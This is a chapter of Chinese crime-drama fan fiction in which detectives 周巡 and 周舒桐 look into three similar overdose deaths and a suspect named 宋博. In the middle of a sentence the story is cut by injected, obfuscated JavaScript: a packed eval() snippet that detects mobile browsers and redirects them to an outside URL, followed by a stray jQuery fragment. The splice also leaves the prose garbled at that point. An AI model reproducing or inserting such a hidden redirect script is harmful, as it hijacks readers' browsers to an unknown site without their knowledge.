下午三点多,长丰支队。
周舒桐小跑着穿过走廊,敲开了支队办公室的门。
“周——嗯?”
周巡并不在屋内,只有小汪一个人坐在沙发上,大口大口的嗦着泡面。
“唔?你唔找周唔队啊?”小汪快速把嘴里的面嚼碎咽下去,“高法医那呢。”
周舒桐眨了下眼,头也不回的又跑出去。
她快步跑到法医实验室门口,敲了两下,随后推开门。
“周队,”她把手里一大摞资料一股脑全放到桌子上,“这是那个死者资料。”
周巡正坐在凳子前喝水呢,刚喝了半口,赶忙扔下杯子,伸手过来扶那一大堆摇摇欲坠的东西。
“我靠,这么多?”
周舒桐抹了下额头的汗:“没有,这个不是一个人的。”
正准备做尸检的高亚楠回头瞥了一眼:“周队不是让你问这个吸|毒过量致死的案子吗,你这是查到哪去了?”
“我刚才去问了民警,调了一下这个案子的相关资料。”周舒桐靠着墙休息,继续解释,“现在躺在这的这个死者,男,二十六岁,从事的是房地产中介行业。奇怪的是,这个人从前并没有任何吸|毒史,至少在官方记录上是没有过的。”
她帮着拿起另一份资料递到周巡眼前:“根据接警记录显示,死者应该是在昨天晚上出的意外,第二天一直没有上班,没有给公司请假,所以公司就让同事联系他,结果一直联系不上,这才报的警,发现死者死在家中。”
周巡一目十行的过完了所有死者资料和其他记录,略带困惑的看向桌面上剩下的那几份材料:“这啥?”
“是这样的,因为我再三向民警确认了,这个人生前确实没有其他吸|毒史,所以我就……我就多查了一下,结果发现了这个。”
她一边说着,一边又翻出两份接警记录,还有两份长丰支队自己出具的尸检报告。
“这其实是咱们区第二起吸|毒致死的案件了,而且如果算上上周四的另外一起的话,也就是说在咱们辖区,十天内,已经出现了三起吸|毒致死的案子。”
周舒桐站直:“这个死亡频率,是不是有点不正常?”
周巡听着,也觉察出不对劲,他快速翻阅了死者资料,随后打开了尸检报告。
报告上的署名是高亚楠,更早的那一个签了小徐的名字。
“亚楠,你还有印象吗?”
“嗯?”高亚楠正准备戴手套,凑过来看周巡举到她眼前的报告单子,“啊,周二的,记得。”
她回忆了一下:“尸检我做了,确实是吸|毒过量致死,吸食过量导致的急性中枢神经抑制和呼吸衰竭,我记得是在左臂发现的针孔,是静脉注|射。”
周巡眨了眨眼:“没有其他异常?”
“怎么,不相信我的专业能力?”
周巡笑了一声,歪着头越过她看向低着头在尸体旁边做准备工作的另一人:“小徐,你有印象吗?上周四,你做的尸检。”
小徐伸手把口罩扯下来:“我记得,基础情况和高主任刚才说的一模一样,而且我还发现了这个……”
他一边说着,一边把躺在台子上的死者的左臂翻了过来。
在场的几人都很清晰地看到,在左臂内侧的肘关节处,有一个很明显的针眼。
“哎?就长这样。”高亚楠上前仔细看了看,随后举起胳膊给周巡看,“我那个就长这样,基本上一模一样的位置。”
“我那个也是。”小徐默默补了一句。
也就是说,十天之内,前后三人吸|毒过量致死,甚至还是一模一样的注|射方式,连注|射位置都像复制粘贴似的。
周巡站起身,皱着眉头甩了下头发:“前面两个死者的都是什么人?”
周舒桐早就做足了功课,立刻开口:“本周二那个,男性,二十五岁,是一个自由职业者,在家自己经营自媒体卖货的;上周的那个也是男性,二十二岁,是津大在读的学生。”
“大学生?”周巡惊了一声。
“听起来,三个人没什么关联啊,”高亚楠若有所思道,“一个打工的,一个无业的,还一个学生。这三人唯一的关联好像就是……都是男的?”
“而且都是二十多岁。”周舒桐补了一句。
周巡挠了下额头,第一时间想到了毒物成分问题:“毒检之前做了吗?有什么结果?”
高亚楠耸了下肩:“我那份还没出结果,你知道的,毒物检测需要时间,尤其是这种毒|品类的东西,除非你想加急。”
没等周巡开口,小徐举了下手:“我那份倒是出了,但还压在实验室那边。不过……我记得我那个案子早就结了,尸体也让家属带走火化了,毕竟是这种死法,家里也觉得不光彩……如果需要,我可以再去联系一下实验室,把结果调出来。”
“行,那一会眼下这个弄完了你就去一趟,”周巡点了下头,“顺便把今天这个也送去化验,还有周二那个的结果,一并加急。”
高亚楠把手套带上,拿起刀准备尸检:“怎么,你怀疑是药的问题?”
“不好说。往常也经常给戒毒所那边送人,但也没见段时间里死这么多的。”周巡眉头锁紧,“也说不准是不是巧合——谁知道呢,等毒检结果出来就知道了。”
他叹了口气,看着眼前开始尸检的两人,又扭头瞥见刚喘匀两口气的周舒桐,忽然想起什么。
“小周,来,”他拉开门往外走,“问你点事儿。”
周舒桐眨了下眼,跟着他的脚步往外走。
两人站在法医实验室的走廊里,周巡靠在百叶窗边,叼了支烟在嘴上。狭长的光在他脸上留下一道道纹路,他看了眼周舒桐,最终还是没点,只是把烟咬在嘴里。
“你说的事查明白了吗?”
周舒桐有些心虚的低下头:“那天医院所有的监控我都看过了,也问了当时护士站的人,没有人知道宋博那天进去到底是干什么的。”
周巡深吸一口气,重重地吐出来:“……那就只能疑罪从无了。”
“可是他确实很可疑啊。”小周有点着急,“那天我看见他从护士站出来,去了楼梯间,在楼梯间消防栓的后面塞了东西,随后孟潇就进去了。”
她比划着解释:“孟潇进去的时候还是便服呢,后来停电前她再出现,就已经是护士了——这些都是监控拍到的啊。”
周巡把烟拿在手里:“首先,你说的这些猜测都合理,但也只是猜测对吗?楼梯间里面是没有监控的,谁也不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131751|159589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道孟潇是不是去拿了宋博放在那的东西;其次,你也看见了,那段时间里监控不止拍到了孟潇一个人进入楼梯间;最后,就算宋博真的给孟潇提供了假扮护士的东西,监控什么也没拍到啊,宋博两手空空的进去,两手空空的出来,监控没拍到他拿了任何东西。”
周舒桐顿了两秒,立刻开口:“护士装有可能是提前准备好的,但是她很有可能就是去偷了证件和磁卡。”
孟潇当晚使用的胸卡,刷开过薛嘉福的病房,所以留下了访问记录。从记录上显示,那是一个当天轮休的护士的东西,而在事后,那名护士表示自己的证件依然原封不动的摆在自己的储物柜里。
所以大概率,就是当时暂时“借用”了这名护士的证件,拿走做了复制,随后又还了回去。
“还是那句话,都是推测对吗?”
周舒桐不甘心的张了张嘴,但又觉得他说的对,于是又不吭声了。
周巡也有些无奈的看了他一眼:“那这周呢?这一周以来,你有发现他身上什么其他异常吗?”
周舒桐又摇摇头。
两人都沉默着,周巡看着窗出神,小周看着地不知道在想什么。
“周队。”她忽然闷闷的开口,“关老师……是不是……”
周巡早知道她要问这话。
“葬礼在后天。”他只能这么回答。
如果说周巡和高亚楠的坚持是有根据的,那周舒桐对关宏峰还活着这件事的坚持,或许比他们更要艰难。没准周巡和高亚楠两人的态度,也是她的一部分根据,但很明显,周舒桐的情绪比他们所有人都要严重。
一周以来,她几乎是寸步不离的呆在队里——不像周巡之前那样发疯,也不像高亚楠,干脆请了几天假出去找人了。周舒桐呆在队里,只是不停的工作而已。
除了查案子还是查案子,她也没哭,也没崩溃,就只是一心扑在工作里。晚上也不回家,就睡在招待室,早上就在洗手间洗漱,吃饭也是想起来就吃点,想不起来就当不饿。
周巡不知道该怎么安慰她,又或者说不知道该不该安慰。先是刘长永的死,随后是关宏峰,中间还夹着一个叶方舟,任凭心脏再强大的人,此刻也不可能毫无反应了。
但周舒桐就像没事人一样,勤勤恳恳的工作——这反而不对劲。
于是周巡就放任她在自己眼皮子底下这么没日没夜的干。至少在眼前,就算出了什么情况,能第一时间发现异常。
周舒桐的黑眼圈更沉重了:“……我会按时到。”
“宋博那边你不要管了,我会找其他人负责。”
周舒桐刚想再挣扎一下,只听见周巡继续说下去:“我有别的任务交给你——记得何英才吗?”
那天在医院里,那名挟持孕妇的大学生。她当然记得,于是点了点头。
“他马上判了,但是我希望你还是再去问一遍,关于那个唐医生的事情。”
周舒桐有些不解,但还是应了下来:“那我一会去找他。”
“不要去找他,把人提到队里来。”周巡神色凝重,“除了姓唐的,我还有点别的事想交代给他。”
他又有点不放心的嘱咐了一句:“一定要把人提到队里——后面我和你说的这几句,你得单独问。”